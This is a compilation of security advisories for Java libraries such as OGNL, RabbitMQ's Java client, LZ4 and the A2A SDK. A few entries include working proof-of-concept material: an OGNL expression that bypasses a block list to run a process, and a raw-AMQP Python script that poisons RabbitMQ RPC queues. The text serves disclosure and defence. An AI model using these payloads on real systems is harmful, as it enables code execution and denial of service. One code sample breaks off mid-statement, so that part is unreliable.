Several decompression functions in snappy-java versions prior to 1.1.10.9 allocate memory based on the uncompressed length declared in the compressed data without proper validation. This can lead to excessive memory allocation up to 2 GB or trigger exceptions, causing denial of service. The issue affects multiple entry points including Snappy.uncompress methods and input streams. The vulnerability is fixed in version 1.1.10.9 by validating and limiting the declared uncompressed length relative to the compressed input size.
Google Guava versions from 4.0 up to but not including 33.7.2 contain a deserialization vulnerability in CompactHashMap, CompactHashSet, and MapMakerInternalMap. These classes read an attacker-controlled size value from a serialized stream without proper upper bound validation, leading to uncontrolled memory allocation. This can cause the Java Virtual Machine (JVM) to allocate multi-gigabyte arrays and crash with an OutOfMemoryError, even when the serialized data contains only a small number of actual elements.
### Summary
OGNL's optional *stricter invocation* mode maintains a block list that prevents expressions from directly calling methods on dangerous classes such as `Runtime`, `ProcessBuilder`, and `ClassLoader`. The block list filters on the **declaring class of the method OGNL invokes**. Because `java.lang.reflect.Method` (and `Constructor`/`Field`) are not on the list, an expression can use reflection as a proxy — `someMethod.invoke(target, args)` — to reach a blocked method. The real call (e.g. `ProcessBuilder.start()`) then executes inside the JDK reflection machinery and never passes back through OGNL's `invokeMethod`, so the block list never sees it.
### Proof of concept
Under the default OGNL context (public-only access, stricter invocation enabled), the following expression creates a file even though a direct `new ProcessBuilder(...).start()` is blocked:
```
(#pb=new java.lang.ProcessBuilder({"/usr/bin/touch","rce-proof.txt"}),
#methods=@java.lang.ProcessBuilder@class.getMethods(),
#names=#methods.{ #this.getName() },
#startIdx=#names.indexOf("start"),
#methods[#startIdx].invoke(#pb, null))
```
### Impact and scope — please read carefully
**This is hardening of a defense-in-depth secondary layer, not a break of OGNL's primary security boundary.**
In OGNL the stricter-invocation block list is a *secondary* mitigation. The **primary** access-control gate is the `MemberAccess` implementation supplied by the integrating framework or application, which OGNL consults on every constructor and method call. Frameworks that evaluate untrusted expressions are expected to install a restrictive `MemberAccess` — for example, Apache Struts' `SecurityMemberAccess`, which excludes dangerous classes and the `java.lang.reflect` package. Against such a `MemberAccess` this PoC is blocked at the very first step (the `new ProcessBuilder(...)` constructor), before reflection is ever reachable.
The default context that ships with OGNL intentionally allows all public members and is **not** designed to sandbox untrusted input. An application that evaluates attacker-controlled expressions with that permissive default already has many paths to code execution, and this technique is not required to achieve it.
**You are affected only if all of the following hold:** (1) your application evaluates untrusted/attacker-controlled OGNL expressions, (2) it uses OGNL's default permissive `MemberAccess` (or an equivalently permissive one that allows `java.lang.reflect`), and (3) it relies on the stricter-invocation block list as its sandbox. **Properly configured consumers — including Apache Struts with its `SecurityMemberAccess` — are not affected.** The actual protection for untrusted-expression scenarios remains a correctly configured `MemberAccess`; the block list should not be treated as a sandbox.
### Fix
`java.lang.reflect.Method`, `java.lang.reflect.Constructor`, and `java.lang.reflect.Field` are added to the stricter-invocation block list, so reflection objects can no longer be used as invocation proxies in stricter mode. The `java.lang.invoke.MethodHandle` path was verified not to be exploitable (its signature-polymorphic `invoke`/`invokeExact` fail through OGNL's reflection-based invocation), so no additional classes are required.
### Credit
Reported responsibly through Tidelift by 毛锐 (youyi.mr@alibaba-inc.com).
CVE-2026-111765 is a vulnerability in the a2a-java SDK versions from 1.3.0.Final up to but not including 1.3.2.Final. It involves insufficient protection of credentials due to improper handling of HTTP redirects in the AndroidA2AHttpClient synchronous POST path. This flaw can cause API keys or tokens to be disclosed to unintended authorities when redirects occur, especially if redirect or front-door behavior is compromised or operates across different trust domains. The issue is fixed in version 1.3.2.Final.
Draft text for GHSA-qw47-mcm5-934w. The body below drops into the GitHub advisory description
field; the metadata block maps to the form fields. Set the patched version at release; publish
when the fix ships._
---
- **Ecosystem:** Maven
- **Affected package:** `org.a2aproject.sdk:a2a-java-sdk-server-common` (task store / authorization)
- **Affected versions:** `<= 1.2.0.Final` (and `1.2.1.Final-SNAPSHOT` on `main` prior to the fix)
- **Patched version:** _(the release that carries the fix, e.g. 1.2.1.Final)_
- **CWE:** CWE-1188 (Insecure Default Initialization), CWE-862 (Missing Authorization)
- **Severity:** High
- **CVSS v3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (7.5, High)
---
## Details
The default task store performs no authorization on task reads. `InMemoryTaskStore`'s no-arg
constructor sets `authorizationProvider = null`, and `InMemoryTaskStore.get(String taskId)` is a
bare map lookup with no authorization check regardless of provider:
```java
public InMemoryTaskStore() {
this.authorizationProvider = null; // default wiring
}
@Override
public @Nullable Task get(String taskId) {
return tasks.get(taskId); // no owner / caller check
}
```
Authorization is enforced only when the application both supplies a `TaskAuthorizationProvider`
*and* routes requests through `AuthorizationRequestHandlerDecorator` (via CDI), which checks
ownership before delegating. A server that uses the default store, or wires
`DefaultRequestHandler.builder().build()` manually, or integrates through a non-CDI stack (e.g.
Spring), never reaches that check. The safe posture is therefore opt-in and the shipped default is
the unsafe one. A caller can read a task created by another caller simply by knowing or guessing
its id.
## Summary
With the SDK's default configuration, task reads are not authorized: any caller can retrieve a
task (including its status, context, message history, and artifacts) created by another caller,
by supplying the task id.
## PoC
Using only the real production classes wired the default way (no mocks):
1. Construct the default store: `InMemoryTaskStore store = new InMemoryTaskStore();` (no-arg
constructor, so no authorization provider).
2. As one caller, save a task: `store.save(victimTask, false);` with id `victim-task-42`.
3. As a second, unrelated caller with no auth context, read it back: `store.get("victim-task-42")`.
The second caller receives the first caller's task in full, with no authorization check:
```
unauthenticated get(victim-task-42) returned task owned by nobody-checked: victim-task-42 / ctx=victim-ctx
```
Verified on `main` (commit `72d220c`, JDK 21) and reproduces unchanged on `1.2.0.Final`.
## Impact
Task data crosses caller boundaries with no authorization. In any multi-caller deployment built on
the default wiring, one caller can enumerate and read another caller's tasks, including task status,
context id, the message history, and any artifacts the task carries, which for agent workloads is
frequently sensitive input and generated content. Because the insecure behaviour is the default
rather than a misconfiguration, it is easy to ship unintentionally, and in the default/reference
deployment the transport endpoints are served without authentication enforced, so the read is
reachable by an unauthenticated caller (`PR:N`). CVSS is scored against the default configuration
as shipped.
## Remediation
Fail closed by default: deny task reads when no authorization provider is configured, rather than
treating a missing provider as allow-all, and apply the authorization check in the store's `get`
path (not only in `list` and the CDI decorator) so it holds regardless of how the handler is
wired. If the current permissive default is retained for single-user/testing scenarios, emit a
prominent startup warning when the server comes up with no authorization provider so it cannot be
shipped by accident.
## Workarounds
Until a fixed release, configure a `TaskAuthorizationProvider` and ensure requests are routed
through the authorization decorator (CDI wiring), rather than relying on the default no-arg store
or a manually built handler.
## References
- CWE-1188: Insecure Default Initialization of Resource: https://cwe.mitre.org/data/definitions/1188.html
- CWE-862: Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
CVE-2026-111763 is a vulnerability in the A2A Java SDK prior to version 1.3.0.Final. It allows a malicious or compromised remote agent to cause the default JDK-based client to forward a configured API key to a third-party server via an HTTP header. This occurs because the client uses the remote AgentCard's API key name directly as the header name without verifying the header location, and follows redirects that can forward this credential-bearing header even when standard Authorization headers are stripped. The issue is fixed in version 1.3.0.Final.
CVE-2026-111762 is a vulnerability in a2aproject's a2a-java SDK prior to version 1.3.0.Final. The issue involves sensitive information, including bearer tokens and authentication credentials, being logged in cleartext when a JSON request body fails protobuf deserialization. This occurs in the RestHandler.parseRequestBody method during error handling. An attacker with access to server logs could retrieve these credentials and potentially send forged push notification updates. The vulnerability is fixed in version 1.3.0.Final.
CVE-2026-111761 is a Server-Side Request Forgery (SSRF) vulnerability in the a2a-java SDK prior to version 1.3.0.Final. The vulnerability arises because the BasePushNotificationSender component sends task data to URLs without validating the destination, allowing unauthenticated attackers to register arbitrary destinations. This can cause the server to send requests to internal or restricted network addresses. The issue is fixed in version 1.3.0.Final.
CVE-2026-102834 is an integer overflow vulnerability in the IPCameraFrameGrabber component of bytedeco javacv prior to version 1.5.14. The flaw occurs when doubling a 32-bit buffer capacity without checking for overflow or bounding the Content-Length header in an MJPEG stream. A malicious or tampered MJPEG stream can trigger this condition, causing the frame-grabbing thread to enter a permanent CPU-spinning loop, resulting in a denial of service. The issue is fixed in version 1.5.14.
yawkat LZ4 Java provides LZ4 compression for Java. From 1.7.0 until 1.11.4, net.jpountz.util.Native.load() uses File.createTempFile to create an exclusive temporary .lck file but derives the native-library path by removing the suffix, then FileOutputStream opens that predictable path without exclusive creation, allowing another local user with access to the same shared temporary directory to create or replace the library file before System.load() uses it. Successful exploitation depends on shared-directory permissions, host protections, and winning the race, and can execute native code as the victim; hardened systems may instead cause library loading to fail and fall back to Java implementations. Configurations using a system library, a private java.io.tmpdir, or Java-only implementations are not affected. This issue is fixed in version 1.11.4.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4FrameInputStream readHeader() allocates two new 4 MiB block buffers whenever a maximum-block-size frame header is read, and the default concatenated-frame mode allows attacker-controlled streams containing many minimal empty frames to trigger roughly 8 MiB of allocation for every 11 input bytes. The stream produces no decompressed output while consuming CPU and garbage-collection time, so decompressed-size limits do not mitigate the issue; readSingleFrame mode is not affected. This issue is fixed in version 1.11.4.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4BlockInputStream configured with stopOnEmptyBlock set to false handles each well-formed empty LZ4Block by recursively calling refill(), allowing a long sequence of empty blocks in an attacker-controlled compressed stream to exhaust the decoding thread's stack and throw StackOverflowError. The default stopOnEmptyBlock setting is true and is not affected, and the issue does not cause memory corruption. This issue is fixed in version 1.11.4.
CVE-2026-106121 is an infinite loop vulnerability in the rabbitmq-java-client library's JSONReader component. When parsing JSON input that ends inside a quoted string or a line comment, the parser loops indefinitely. This can cause either an OutOfMemoryError by filling the heap or a thread pinned at 100% CPU, resulting in denial of service. The issue affects applications using the JSON-RPC-over-AMQP tooling with the default DefaultJsonRpcMapper. The vulnerability is triggered by a single unauthenticated message and impacts availability of the JSON-RPC endpoint.
### Summary
A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.
The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.
The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.
In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.
### Details
`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75
`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56
So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.
Two consumption paths are impacted:
1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:
https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129
2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.
In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.
A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.
### PoC
Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.**
1. Start a broker:
```bash
docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq
```
2. Publish a message whose `correlation-id` is 255 × `0xFF`:
```python
import socket, struct
def sstr(b):
if isinstance(b, str): b = b.encode()
return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a
QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)
def rf():
h = b""
while len(h) < 7: h += s.recv(7 - len(h))
t, ch, sz = struct.unpack(">BHI", h)
p = b""
while len(p) < sz: p += s.recv(sz - len(p))
s.recv(1); return t, ch, p
def wait(c, mi):
while True:
t, ch, p = rf()
if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]
s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
+ lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
+ struct.pack(">I", 0)))); wait(50, 11)
s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))
# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)
```
3. Run a consumer using the tutorial pattern against `rpc.poison`:
```java
DeliverCallback cb = (tag, delivery) -> {
AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder(
Copernik XML Factory versions before 0.1.2, when using the stock JDK XML provider, improperly allow XInclude resource resolution after enabling XInclude. This breaks the library's guarantee that XInclude resolution remains disabled, potentially allowing attackers to read local files or perform SSRF via HTTP references when parsing untrusted XML. The issue does not affect the Xerces or Android providers. Upgrading to version 0.1.2 or adding Apache Xerces to the classpath mitigates the vulnerability.
Jawn is an open source JSON parser that prior to version 1.7.0 allowed parsing of JSON with arbitrarily deep nesting without limits. This could cause the parser to exhaust the JVM heap memory, resulting in a fatal OutOfMemoryError and denial of service. The issue is fixed in version 1.7.0.
Jawn is an open source JSON parser with a vulnerability in its AsyncParser component prior to version 1.7.0. The AsyncParser can perform quadratic work when processing a single JSON token delivered in many small chunks, leading to excessive CPU consumption. This can be exploited by a remote attacker controlling untrusted JSON input and chunk sizes to cause a denial of service. The issue is fixed in version 1.7.0.
Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.publishWill publishes a client-controlled Last Will message through publish2Subscribers without invoking the authorizator.canWrite check used by normal PUBLISH paths. When anonymous access is enabled and topic ACLs restrict writes, a remote client can set an ACL-protected topic as the Last Will Topic during CONNECT and perform an abnormal client disconnect, causing the broker to inject attacker-controlled messages into a topic for which the client lacks write permission. This issue is fixed in version 0.18.1.
HAPI FHIR versions prior to 6.9.12 contain an improper input validation vulnerability in the SHCParser component. This flaw can cause an infinite loop when processing specially crafted Smart Health Card JWTs with a 'zip' header set to 'DEF' and an empty or truncated raw-DEFLATE payload. The infinite loop can indefinitely pin a JVM worker thread, potentially exhausting all validation workers under concurrent requests. This issue is fixed in version 6.9.12.